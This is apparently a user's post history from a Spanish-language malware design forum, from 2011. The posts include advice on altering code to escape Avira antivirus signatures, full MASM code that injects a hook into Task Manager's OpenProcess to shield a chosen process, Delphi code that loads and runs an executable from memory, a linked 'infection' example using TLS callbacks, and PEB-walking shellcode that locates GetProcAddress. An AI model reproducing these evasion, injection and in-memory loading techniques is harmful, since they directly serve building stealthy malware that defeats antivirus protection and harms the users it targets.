|
143
|
Seguridad Informática / Análisis y Diseño de Malware / Re: Indetectando AVIRA
|
en: 17 Julio 2011, 14:31 pm
|
Revisar las rutinas de las detecciones con OllyDBG sería lo más prudente antes de hacer cambios, y con respecto a la tecera firma puedes quitarla moviendo RtlMoveMemory a otro sector, y quizá para eso necesites leer algunos documentos sobre el Formato PE.
Un saludo.
|
|
|
144
|
Seguridad Informática / Análisis y Diseño de Malware / [MASM][UserMode]Hook OpenProcess
|
en: 11 Julio 2011, 23:55 pm
|
.386 .model flat, stdcall option casemap:none include C:\masm32\include\windows.inc include C:\masm32\include\kernel32.inc includelib C:\masm32\lib\kernel32.lib .data ProcessId dd 0 ProcessProtect dd 0 hProcess dd 0 APIAddress dd 0 SnapshotHandle dd 0 DistanceFunc dd 0 fAddress dd 0 Bytesw dd 0 _JMP db 5 dup(?) Diference dd 0 Buff db 0 _PROCESSENTRY32 PROCESSENTRY32 <?> Process db "taskmgr.exe",0 ;Process to Hook API db "OpenProcess",0 lLibrary db "kernel32.dll",0 Protect db "notepad.exe",0 ;Process to Protect .code start: mov dword ptr[_PROCESSENTRY32.dwSize], 0128h _Begin: invoke CreateToolhelp32Snapshot,TH32CS_SNAPPROCESS,0 mov dword ptr[SnapshotHandle],eax _Cmp: invoke Process32Next,dword ptr[SnapshotHandle], addr _PROCESSENTRY32 mov edi, eax invoke lstrcmp,addr Process, addr _PROCESSENTRY32.szExeFile or eax, eax jz _GetPID2 invoke lstrcmp,addr Protect, addr _PROCESSENTRY32.szExeFile or eax, eax jz _GetPID _Continue: or edi, edi jz _Exit jnz _Cmp _Proc: invoke GetModuleHandle, addr lLibrary invoke GetProcAddress, eax, addr API mov dword ptr[APIAddress], eax mov eax, offset _EndHook mov ebx, offset _Hook sub eax, ebx mov dword ptr[DistanceFunc], eax invoke OpenProcess,PROCESS_ALL_ACCESS,FALSE,dword ptr [ProcessId] mov dword ptr [hProcess], eax invoke ReadProcessMemory,dword ptr[hProcess], dword ptr [APIAddress], addr Buff, 1, addr Bytesw cmp byte ptr [Buff], 0E9h jz _Exit invoke VirtualAllocEx,dword ptr [hProcess],NULL,dword ptr[DistanceFunc],MEM_RESERVE or MEM_COMMIT,PAGE_EXECUTE_READWRITE mov dword ptr [fAddress], eax mov ecx, offset _Hook invoke VirtualProtect,ecx,10,PAGE_EXECUTE_READWRITE,addr Bytesw mov ebx, dword ptr[APIAddress] add ebx, 5 mov dword ptr[_Hook + 1], ebx mov ebx, dword ptr[ProcessProtect] mov dword ptr[_Hook + 6], ebx mov ecx, offset _Hook invoke WriteProcessMemory,dword ptr[hProcess], dword ptr [fAddress], ecx, dword ptr [DistanceFunc], addr Bytesw invoke VirtualProtectEx,dword ptr[hProcess],dword ptr [APIAddress], 5, PAGE_EXECUTE_READWRITE, addr Bytesw mov byte ptr [_JMP], 0E9h mov edx, dword ptr [fAddress] add dword ptr [APIAddress],5 sub edx, dword ptr [APIAddress] mov dword ptr [_JMP +1], edx sub dword ptr [APIAddress], 5 invoke WriteProcessMemory,dword ptr [hProcess], dword ptr[APIAddress], addr _JMP, 5, addr Bytesw invoke CloseHandle, dword ptr [hProcess] _Exit: invoke ExitProcess,0 _Hook: mov eax, 00000000h ; API Address mov ecx, 00000000h ; PID push ebp ; Stack frame mov ebp, esp pushad cmp ecx, dword ptr [ebp + 10h] jz _Hooked ; If is equal jump to Hooked popad ; Restaure registers jmp eax ; Jump to API + 5 _Hooked: popad mov esp, ebp pop ebp mov eax, 0 retn 0Ch _EndHook: _GetPID: mov eax, dword ptr [_PROCESSENTRY32.th32ProcessID] mov dword ptr[ProcessProtect],eax jmp _Found _GetPID2: mov eax, dword ptr [_PROCESSENTRY32.th32ProcessID] mov dword ptr[ProcessId],eax jmp _Cmp2 _Found: cmp [ProcessId],0 jz _Cmp jmp _Cmp2 _Cmp2: cmp dword ptr[ProcessProtect],0 jnz _Proc jmp _Cmp end start
Información:Este es el pequeño ejemplo de enganchar(Hookear) a la función Kernel32.OpenProcess la cual permite abrir un proceso por muchos motivos (Cerrarlo, obtener información, modificar, etc). ¿Que hace exactamente?Sencillamente enganchamos esa función y así podemos verificar si quieren abrir el proceso que nosotros designemos a proteger. Ustedes pueden hacerle su respectiva adaptación a condiciones etc, pero me enfoque en un ejemplo y en aprender. Mis mayores agradecimientos a Lelouch (Como me soportaste xD) y a [Zero]. Dedicado a todos mis mentores (Sobra mencionarlos) Saludos.
|
|
|
147
|
Seguridad Informática / Análisis y Diseño de Malware / Re: Ejecución de Archivos desde Memoria [Base Relocation]
|
en: 3 Junio 2011, 00:58 am
|
A mi parecer la dependencia exacta de que todas las direcciónes físicas sean realocadas da un porcentaje muy alto de fallar al cargar un ejecutable en otro espacio de memoria diferente a su ImageBase, tenía que prácticar Relocations así que decidí intentarlo en Delphi y vaya trabajo me ha dado. Gracias [Zero] IMAGE_IMPORT_DESCRIPTOR = packed record OriginalFirstThunk: DWORD; TimeDateStamp: DWORD; ForwarderChain: DWORD; Name: DWORD; FirstThunk: DWORD; end; IMAGE_RELOCATIONS = packed record PageRVA: DWORD; Size: DWORD; end; type TArrayOfByte = array of byte; TArrayOfISH = array of TIMAGESECTIONHEADER; PIMAGEIMPORTDESCRIPTOR = ^IMAGE_IMPORT_DESCRIPTOR; PIMAGERELOCATIONS = ^IMAGE_RELOCATIONS; function RVATOOFFSET(RVA:DWORD): DWORD; var i,n: integer; begin for i:= 0 to IFH.NumberOfSections-1 do begin n:= (ish[i].VirtualAddress + ish[i].SizeOfRawData)-RVA ; if n > 0 then begin Result:=(RVA - ish[i].VirtualAddress) + ish[i].PointerToRawData; break; end; end; if RVA < ish[0].VirtualAddress then Result:= RVA; end; procedure Execute(); var IDH: PIMAGEDOSHEADER; IOH: PIMAGEOPTIONALHEADER; IDD: Array[0..15] of PIMAGEDATADIRECTORY; IID: PIMAGEIMPORTDESCRIPTOR; IR: PIMAGERELOCATIONS; aBuffer: TArrayOfByte; FileLen: DWORD; hFile: THANDLE; BytesRead: DWORD; Signature: PDWORD; i: DWORD; Acumulador: DWORD; BaseAddress: Pointer; lFunction: PDWORD; TempAddress: DWORD; EP: DWORD; aBlock: DWORD; rBlock: PWORD; dType: DWORD; Offset: PDWORD; Delta: DWORD; rOffset: DWORD; Ordinal: DWORD; GPA: function(hModule: Cardinal; Ordinal: Cardinal): Pointer; stdcall; begin hFile:= CreateFileA('C:\Archivos de programa\Opera\opera.exe',GENERIC_READ, FILE_SHARE_READ,nil, OPEN_EXISTING,0,0); If hFile <> INVALID_HANDLE_VALUE then begin FileLen:= GetFileSize(hFile,nil); SetLength(aBuffer,FileLen); ReadFile(hFile,aBuffer[0],FileLen,BytesRead,nil); end; GPA:= GetProcAddress(GetModuleHandle('kernel32'),'GetProcAddress'); CloseHandle(hFile); IDH:= Pointer(aBuffer); if IDH.e_magic = IMAGE_DOS_SIGNATURE then begin Signature := @aBuffer[IDH._lfanew]; if Signature^ = IMAGE_NT_SIGNATURE then begin IFH:= @aBuffer[IDH._lfanew + 4]; IOH:= @aBuffer[IDH._lfanew + 24]; Acumulador:= 0; for i:=0 to 15 do begin IDD[i]:= @aBuffer[IDH._lfanew + 120 + Acumulador]; Acumulador:= Acumulador+8; end; SetLength(ISH, IFH.NumberOfSections-1); Acumulador := 0; for i:=0 to IFH.NumberOfSections-1 do begin CopyMemory(@ISH[i], @aBuffer[IDH._lfanew + 248 + Acumulador], 40); Acumulador:= Acumulador + 40; end; BaseAddress:= VirtualAlloc(nil, IOH.SizeOfImage, MEM_RESERVE or MEM_COMMIT, PAGE_EXECUTE_READWRITE); CopyMemory(BaseAddress, @aBuffer[0], IOH.SizeOfHeaders); for i:=0 to IFH.NumberOfSections-1 do begin CopyMemory(Pointer(DWORD(BaseAddress)+ISH[i].VirtualAddress), @aBuffer[ISH[i].PointerToRawData], ISH[i].SizeOfRawData); end; Delta:= DWORD(BaseAddress) - IOH.ImageBase; rOffset:= RVATOOFFSET(IDD[5].VirtualAddress); IR:= @aBuffer[rOffset]; While(IR.PageRVA <> 0) do begin aBlock:= (IR.Size - 8)div 2; rBlock:= Pointer(DWORD(IR) + 8); While(aBlock > 0) do begin dType:= (rBlock^ and $F000) div $1000; Offset:= Pointer(DWORD(rBlock^ and $FFF) + IR.PageRVA + DWORD(BaseAddress)); if dType = 3 then begin Offset^:= Offset^ + Delta; end; rBlock:= Pointer(DWORD(rBlock)+ 2); aBlock:= aBlock - 1; end; IR:= Pointer(DWORD(IR)+ IR.Size); end; IID:= @aBuffer[RVATOOFFSET(IDD[1].VirtualAddress)]; While(IID.Name <> 0) do begin lFunction:= Pointer(DWORD(BaseAddress) + IID.FirstThunk); While(lFunction^ <> 0) do begin if lFunction^ > $80000000 then begin Ordinal:= lFunction^-$80000000; TempAddress:= DWORD(GPA(LoadLibraryA(@aBuffer[RVATOOFFSET(IID.Name)]),Ordinal)); end else begin TempAddress:= DWORD(GetProcAddress(LoadLibraryA(@aBuffer[RVATOOFFSET(IID.Name)]),@aBuffer[RVATOOFFSET(lFunction^+2)])); end; lFunction^:= TempAddress; lFunction:= Pointer(DWORD(lFunction)+4); end; IID:= Pointer(DWORD(IID)+20); end; EP:= IOH.AddressOfEntryPoint + DWORD(BaseAddress); asm mov eax, EP jmp eax; end; end; end; end;
PD: Algunos errores corregidos, añadido soporte para importación por ordinales.
|
|
|
149
|
Seguridad Informática / Análisis y Diseño de Malware / Ejemplo de infección mediante TLS Callbacks
|
en: 16 Mayo 2011, 02:16 am
|
Que tal amigos, he leído un poco acerca del tema y haciendo pruebas logré instalar una rutina en el TLS Callbacks y quise compartirlo, espero sus críticas opiniones y recomendaciones. Espero me disculpen si hay errores técnicos, Un saludo. PD: Quiero agradecer a trompetin17evony y apokliptiko por sus recomendaciones. Link: http://www.box.net/shared/h0ra1953cn
|
|
|
150
|
Seguridad Informática / Análisis y Diseño de Malware / [MASM32] KernelBase Address + GetProcAddress
|
en: 9 Mayo 2011, 02:23 am
|
.386 .model flat, stdcall option casemap:none assume fs:nothing .data GPA db "GetProcAddress",0 Cont dd 0 .code start: mov eax, fs:[030h] ; Get pointer of the PEB mov eax, [eax + 0ch] ; Get pointer of PPEB_LDR_DATA mov eax, [eax + 0ch] ; Get pointer of InLoadOrderModuleList mov eax, [eax] ; Get InLoadOrderModuleList of next library "ntdll" mov eax, [eax] ; Get InLoadOrderModuleList of next library "kernel32" mov eax, [eax + 018h] ; Get BaseAddress of "kernel32" mov ecx, dword ptr[eax + 03ch] ; Set PE Offset add ecx, 078h ; Set in DirectoryTable[0] mov edx, dword ptr [eax + ecx] ; Get Export Table RVA add edx, eax ; Add KernelBase Address xor ebx, ebx ; Clean EBX add edx, 020h ; Set in addressofnames RVA mov ebx, dword ptr [edx] ; Get RVA AddressOfNames Table add ebx, eax ; Add KernelBase Address COMP: ; Rutine of compare strings with "GetProcAddress", incrementing Cont add ebx, 4 inc [Cont] mov esi, dword ptr [ebx] add esi, eax lea edi, [GPA] mov ecx, 0Eh repe cmpsb jnz COMP ;GetAddress xor ebx, ebx ; Clean EBX add edx, 04h ; Set on Table Ordinal RVA mov ebx, dword ptr[edx] ; Get first RVA of Ordinal add ebx, eax ; Add KernelBase Address mov edi, eax ; Save KernelBase Address in EDI xor eax, eax ; Clean EAX mov al, 02h ; Base of WORD mov esi, edx ; Save Address of RVA Ordinal Table mul word ptr[Cont] ; Mul Cont for get WORD mov [Cont], eax ; Get new value in Cont xor eax, eax ; Clean EAX add ebx, [Cont] ; Add Cont to Address of Ordinal Table mov ax,word ptr[ebx] ; Get Ordinal of GetProcAddress sub esi, 08h ; Set in AddressOfFunctions mov ecx, [esi] ; Get First pointer to Functions RVA add ecx, edi ; Add KernelBase Address xor ebx, ebx ; Clean EBX mov ebx, eax ; Mov Ordinal to EBX for MUL mov eax, 04h ; Base of DWORD mul ebx ; Calcule spaces to Get address bassed in (Address of First Function + Ordinal GetProcAddress add ecx, eax ; Add spaces for Set Address in RVA of GetProcAddress mov ecx, [ecx] ; Get RVA of GetProcAddress add ecx, edi ; Add KernelBase Address end start
Agradecimientos a Shaddy, [Zero], Lelo, Thor, Psymera & todos los que me han ayudado.
|
|
|
|
|
|
|